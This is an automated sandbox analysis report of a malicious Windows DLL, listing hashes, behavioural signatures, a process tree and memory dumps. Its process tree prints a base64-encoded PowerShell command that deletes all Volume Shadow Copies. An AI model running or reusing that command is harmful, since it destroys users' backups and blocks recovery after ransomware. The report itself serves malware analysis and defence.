Analysis
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max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:54
Static task
static1
Behavioral task
behavioral1
Sample
dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad.dll
Resource
win10-en-20211208
General
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Target
dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad.dll
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Size
116KB
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MD5
a43259f30640f6f2e0f03e94b813237f
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SHA1
17e25c096c068f407fa9b5a69672f0e86b743ec0
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SHA256
dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad
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SHA512
f53925f4ec297f114310eb9f2b078b710fdf789df322b825730634de38e0ab320e6942fca18999198db04e916a1642824610b337f27bcb903a8814fa9d073607
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\K: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1176 rundll32.exe 472 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1176 rundll32.exe Token: SeDebugPrivilege 472 powershell.exe Token: SeBackupPrivilege 1108 vssvc.exe Token: SeRestorePrivilege 1108 vssvc.exe Token: SeAuditPrivilege 1108 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 748 wrote to memory of 1176 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1176 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1176 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1176 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1176 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1176 748 rundll32.exe rundll32.exe PID 748 wrote to memory of 1176 748 rundll32.exe rundll32.exe PID 1176 wrote to memory of 472 1176 rundll32.exe powershell.exe PID 1176 wrote to memory of 472 1176 rundll32.exe powershell.exe PID 1176 wrote to memory of 472 1176 rundll32.exe powershell.exe PID 1176 wrote to memory of 472 1176 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\dad3431f42dd3bac7fa36ed24b40bfb6e8d7ccce71c325ee0c068e7b1a1de1ad.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:472
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1184
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1108
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/472-55-0x000007FEFB7E1000-0x000007FEFB7E3000-memory.dmpFilesize
8KB
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memory/472-57-0x0000000002580000-0x0000000002582000-memory.dmpFilesize
8KB
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memory/472-58-0x0000000002582000-0x0000000002584000-memory.dmpFilesize
8KB
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memory/472-59-0x0000000002584000-0x0000000002587000-memory.dmpFilesize
12KB
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memory/472-56-0x000007FEF2B40000-0x000007FEF369D000-memory.dmpFilesize
11.4MB
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memory/472-60-0x000000000258B000-0x00000000025AA000-memory.dmpFilesize
124KB
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memory/1176-54-0x0000000074F01000-0x0000000074F03000-memory.dmpFilesize
8KB